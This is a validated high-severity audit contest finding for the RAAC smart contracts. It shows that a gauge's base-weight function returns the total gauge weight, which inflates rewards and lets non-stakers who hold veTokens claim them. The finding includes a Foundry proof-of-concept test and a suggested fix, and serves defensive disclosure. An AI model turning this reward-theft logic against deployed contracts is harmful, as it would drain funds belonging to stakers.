Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`BaseGauge::_getBaseWeight` returns gauge weight instead of user stake, leading to inflated rewards and non-stakers eligible to claim rewards

Summary

The BaseGauge::_getBaseWeight function incorrectly returns the gauge's total weight instead of the user's base weight, causing user rewards to be inflated based on the entire gauge's weight rather than their individual stake. In addition, any user with veTokens become eligible to earn rewards without staking.

Vulnerability Details

In BaseGauge.sol, the _getBaseWeight function returns the gauge's total weight instead of calculating the user's individual base weight:

function _getBaseWeight(address account) internal view virtual returns (uint256) {
@> return IGaugeController(controller).getGaugeWeight(address(this));
}

This value is then used in BaseGauge::getUserWeight which is called by BaseGauge::earned to calculate rewards. The issue compounds because the base weight is not tied to user's staked amount and so, rewards are inflated by using the gauge's total weight and non-stakers can claim rewards.

POC

  1. Alice stakes 100 tokens in a gauge with total weight of 5000

  2. Bob has 0 staked tokens but holds veTokens

  3. Bob calls BaseGauge::earned

  4. _getBaseWeight returns 5000 (gauge weight) instead of 0 (Bob's stake)

  5. Bob can claim inflated rewards despite having no stake

To use foundry in the codebase, follow the hardhat guide here: Foundry-Hardhat hybrid integration by Nomic foundation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {ERC20Mock} from "../../../../contracts/mocks/core/tokens/ERC20Mock.sol";
import {FeeCollector} from "../../../../contracts/core/collectors/FeeCollector.sol";
import {Treasury} from "../../../../contracts/core/collectors/Treasury.sol";
import {RAACToken} from "../../../../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../../../../contracts/core/tokens/veRAACToken.sol";
import {GaugeController, IGaugeController} from "../../../../contracts/core/governance/gauges/GaugeController.sol";
import {RAACGauge} from "../../../../contracts/core/governance/gauges/RAACGauge.sol";
import {RWAGauge} from "../../../../contracts/core/governance/gauges/RWAGauge.sol";
import {Test, console} from "forge-std/Test.sol";
contract TestSuite is Test {
FeeCollector feeCollector;
Treasury treasury;
RAACToken raacToken;
veRAACToken veRAACTok;
GaugeController gaugeController;
RAACGauge raacGauge;
RWAGauge rwaGauge;
ERC20Mock rewardToken;
address repairFund;
address admin;
uint256 initialSwapTaxRate = 100; //1%
uint256 initialBurnTaxRate = 50; //0.5%
uint256 initialWeight = 5000;
function setUp() public {
repairFund = makeAddr("repairFund");
admin = makeAddr("admin");
rewardToken = new ERC20Mock("Reward Token", "RWT");
treasury = new Treasury(admin);
raacToken = new RAACToken(admin, initialSwapTaxRate, initialBurnTaxRate);
veRAACTok = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRAACTok), address(treasury), repairFund, admin);
vm.startPrank(admin);
raacToken.setFeeCollector(address(feeCollector));
raacToken.setMinter(admin);
gaugeController = new GaugeController(address(veRAACTok));
raacGauge = new RAACGauge(address(rewardToken), address(raacToken), address(gaugeController));
rwaGauge = new RWAGauge(address(rewardToken), address(raacToken), address(gaugeController));
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, initialWeight);
gaugeController.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, initialWeight);
vm.stopPrank();
}
function testNonStakersCanClaimRewards() public {
address Alice = makeAddr("Alice");
address Bob = makeAddr("Bob");
uint256 mintAmount = 1e18;
uint256 maxDuration = veRAACTok.MAX_LOCK_DURATION();
vm.startPrank(admin);
raacToken.mint(Alice, mintAmount);
raacToken.mint(Bob, mintAmount);
vm.stopPrank();
//Alice mints veRAACToken and stakes all her tokens
vm.startPrank(Alice);
raacToken.approve(address(raacGauge), mintAmount);
raacGauge.stake(mintAmount);
vm.stopPrank();
//gaugeController distributes rewards
vm.startPrank(address(gaugeController));
rewardToken.mint(address(raacGauge), 100e18);
raacGauge.notifyRewardAmount(100e18);
vm.stopPrank();
vm.warp(10);
//Bob mints veRaacTokens
vm.startPrank(Bob);
raacToken.approve(address(veRAACTok), mintAmount);
veRAACTok.lock(mintAmount, maxDuration);
vm.stopPrank();
// Bob has no staked tokens but is eligible for rewards
uint256 earnedAmount = raacGauge.earned(Bob); // bug in this function prevents this from working. Change the minBoost in the constructor of BaseGauge to 10000. Another bug causes it to always return 0 regardless of Alice or Bob, change the divisor in the _applyBoost return statement, from 1e18 to 10000.
assertGt(earnedAmount, 0);
}
}

Impact

Users can earn rewards without staking tokens and reward calculations are severely inflated.

Tools Used

Manual review, foundry test suite

Recommendations

Add functionality that takes into consideration a user's stake before allowing claim

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!